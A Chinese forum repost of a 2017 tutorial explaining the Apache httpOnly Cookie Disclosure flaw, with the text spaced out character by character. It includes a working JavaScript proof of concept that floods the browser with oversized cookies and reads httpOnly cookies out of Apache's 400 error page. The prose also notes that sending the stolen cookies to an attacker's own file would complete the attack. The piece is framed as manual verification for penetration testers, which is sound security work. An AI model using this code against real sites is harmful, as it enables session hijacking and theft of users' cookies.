搜索

[20787] 2017-06-16_ApachehttpOnlyCookieDisclosure原理及利用代码

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2017-06-16_ApachehttpOnlyCookieDisclosure原理及利用代码 A p a c h e   h t t p O n l y   C o o k i e   D i s c l o s u r e 原 理 及 利 用 代 码 L e m o n S e c   2 0 1 7 - 0 6 - 1 6 原 理 原 理 ： 由 于 X S S 漏 洞 危 害 受 到 越 来 越 多 人 的 重 视 ， 现 在 很 多 站 点 以 及 一 些 成 熟 的 c m s 为 了 防 止 出 现 x s s 漏 洞 来 盗 取 用 户 c o o k i e 的 问 题 ， 都 采 用 给 c o o k i e 附 上 h t t p o n l y 的 属 性 ， 来 禁 止 j s 获 取 用 户 的 c o o k i e ， 来 降 低 x s s 的 危 害 ， 而 A p a c h e   H T T P   S e r v e r 在 对 H T T P 状 态 代 码 4 0 0 的 默 认 错 误 响 应 的 实 现 上 存 在 缺 陷 ， 这 一 缺 陷 刚 好 可 以 用 来 绕 过 c o o k i e 的 这 个 h t t p o n l y 的 属 性 ， 最 终 导 致 C o o k i e 信 息 泄 露 。 漏 洞 成 因 漏 洞 成 因 ：                 当 a p a c h e 接 收 到 一 个 大 于 4 k 的 c o o k i e 的 时 候 ， 会 返 回 一 个 4 0 0 的 错 误 ， 并 且 把 所 有 的 c o o k i e 完 整 的 在 页 面 当 中 显 示 出 来 ， 提 示 这 个 c o o k i e 过 大 ， 那 么 我 们 的 攻 击 方 式 便 是 利 用 x s s ， 给 用 户 在 正 常 的 c o o k i e 的 基 础 上 再 增 加 一 些 无 用 的 c o o k i e ， 使 用 户 的 c o o k i e 大 于 4 k ， 然 后 j s 再 发 包 请 求 一 次 网 站 ， 这 时 a p a c h e 返 回 的 响 应 就 是 4 0 0 ， 并 把 c o o k i e 显 示 出 来 ， 这 是 我 们 只 要 用 j s 正 则 匹 配 出 正 常 的 c o o k i e 即 可 ， 由 于 不 是 j s 直 接 获 取 c o o k i e ， 而 只 是 正 则 匹 配 出 返 回 的 字 符 串 而 已 ， 便 相 当 于 绕 过 了 c o o k i e 的 h t t p o n l y 的 属 性 ， 完 整 的 攻 击 需 要 加 上 把 匹 配 的 字 符 串 再 发 送 到 自 己 的 一 个 接 受 文 件 当 中 即 可 。 测 试 方 法 测 试 方 法 ：                 当 安 全 测 试 人 员 利 用 N e s s u s 等 漏 洞 扫 描 器 发 现 测 试 对 象 存 在 A p a c h e   h t t p O n l y   C o o k i e   D i s c l o s u r e 漏 洞 时 ， 我 们 便 可 以 利 用 手 工 进 行 更 详 细 的 测 试 ， 以 下 是 某 次 渗 透 测 试 发 现 的 A p a c h e   h t t p O n l y   C o o k i e   D i s c l o s u r e 漏 洞 的 主 机 ！ 要 测 试 该 漏 洞 首 先 需 要 安 装 f i r e b u g 这 一 f i r e f o x 的 插 件 ， 这 里 不 在 赘 述 安 装 过 程 ， 本 文 的 重 点 是 阐 述 如 何 进 行 该 漏 洞 的 手 工 测 试 。 第 一 步 ： 安 装 f i r e b u g 插 件 ； 第 二 步 ： 在 f i r e f o x 地 址 栏 里 面 访 问 存 在 A p a c h e   h t t p O n l y   C o o k i e   D i s c l o s u r e 漏 洞 的 网 站 链 接 ， 并 且 调 出 f i r e b u g 插 件 （ 按 F 1 2 可 调 出 f i r e b u g 插 件 ） ； 第 三 步 ： 在 f i r e b u g 的 运 行 对 话 框 中 输 入 如 下 代 码 ： 1 .   / /   S o u r c e :   h t t p s : / / g i s t . g i t h u b . c o m / 1 9 5 5 a 1 c 2 8 3 2 4 d 4 7 2 4 b 7 b / 7 f e 5 1 f 2 a 6 6 c 1 d 4 a 4 0 a 7 3 6 5 4 0 b 3 a d 3 f d e 0 2 b 7 f b 0 8     2 .   / /   M o s t   b r o w s e r s   l i m i t   c o o k i e s   t o   4 k   c h a r a c t e r s ,   s o   w e   n e e d   m u l t i p l e     3 .   f u n c t i o n   s e t C o o k i e s   ( g o o d )   {     4 .           / /   C o n s t r u c t   s t r i n g   f o r   c o o k i e   v a l u e     5 .           v a r   s t r   =   " " ;     6 .           f o r   ( v a r   i = 0 ;   i <   8 1 9 ;   i + + )   {     7 .                   s t r   + =   " x " ;     8 .           }     9 .           / /   S e t   c o o k i e s     1 0 .           f o r   ( i   =   0 ;   i   <   1 0 ;   i + + )   {     1 1 .                   / /   E x p i r e   e v i l   c o o k i e     1 2 .                   i f   ( g o o d )   {     1 3 .                           v a r   c o o k i e   =   " x s s " + i + " = ; e x p i r e s = " + n e w   D a t e ( + n e w   D a t e ( ) - 1 ) . t o U T C S t r i n g ( ) + " ;   p a t h = / ; " ;     1 4 .                   }     1 5 .                   / /   S e t   e v i l   c o o k i e     1 6 .                   e l s e   {     1 7 .                           v a r   c o o k i e   =   " x s s " + i + " = " + s t r + " ; p a t h = / " ;     1 8 .                   }     1 9 .                   d o c u m e n t . c o o k i e   =   c o o k i e ;     2 0 .           }     2 1 .   }     2 2 .   f u n c t i o n   m a k e R e q u e s t ( )   {     2 3 .           s e t C o o k i e s ( ) ;     2 4 .           f u n c t i o n   p a r s e C o o k i e s   ( )   {     2 5 .                   v a r   c o o k i e _ d i c t   =   { } ;     2 6 .                   / /   O n l y   r e a c t   o n   4 0 0   s t a t u s     2 7 .                   i f   ( x h r . r e a d y S t a t e   = = =   4   & &   x h r . s t a t u s   = = =   4 0 0 )   {    
2 8 .                           / /   R e p l a c e   n e w l i n e s   a n d   m a t c h   < p r e >   c o n t e n t     2 9 .                           v a r   c o n t e n t   =   x h r . r e s p o n s e T e x t . r e p l a c e ( / r | n / g , ' ' ) . m a t c h ( / < p r e > ( . + ) < / p r e > / ) ;     3 0 .                           i f   ( c o n t e n t . l e n g t h )   {     3 1 .                                   / /   R e m o v e   C o o k i e :   p r e f i x     3 2 .                                   c o n t e n t   =   c o n t e n t [ 1 ] . r e p l a c e ( " C o o k i e :   " ,   " " ) ;     3 3 .                                   v a r   c o o k i e s   =   c o n t e n t . r e p l a c e ( / x s s d = x + ; ? / g ,   ' ' ) . s p l i t ( / ; / g ) ;     3 4 .                                   / /   A d d   c o o k i e s   t o   o b j e c t     3 5 .                                   f o r   ( v a r   i = 0 ;   i < c o o k i e s . l e n g t h ;   i + + )   {     3 6 .                                           v a r   s _ c   =   c o o k i e s [ i ] . s p l i t ( ' = ' , 2 ) ;     3 7 .                                           c o o k i e _ d i c t [ s _ c [ 0 ] ]   =   s _ c [ 1 ] ;     3 8 .                                   }     3 9 .                           }     4 0 .                           / /   U n s e t   m a l i c i o u s   c o o k i e s     4 1 .                           s e t C o o k i e s ( t r u e ) ;     4 2 .                           a l e r t ( J S O N . s t r i n g i f y ( c o o k i e _ d i c t ) ) ;     4 3 .                   }     4 4 .           }     4 5 .           / /   M a k e   X H R   r e q u e s t     4 6 .           v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;     4 7 .           x h r . o n r e a d y s t a t e c h a n g e   =   p a r s e C o o k i e s ;     4 8 .           x h r . o p e n ( " G E T " ,   " / " ,   t r u e ) ;     4 9 .           x h r . s e n d ( n u l l ) ;     5 0 .   }     5 1 .   m a k e R e q u e s t ( ) ; 点 击 运 行 ， 如 果 测 试 对 象 存 在 A p a c h e   h t t p O n l y   C o o k i e   D i s c l o s u r e 漏 洞 ， 即 会 显 示 出 当 前 c o o k i e 信 息 ！ 查 看 更 多 文 章 ， 关 注 下 方 二 维 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理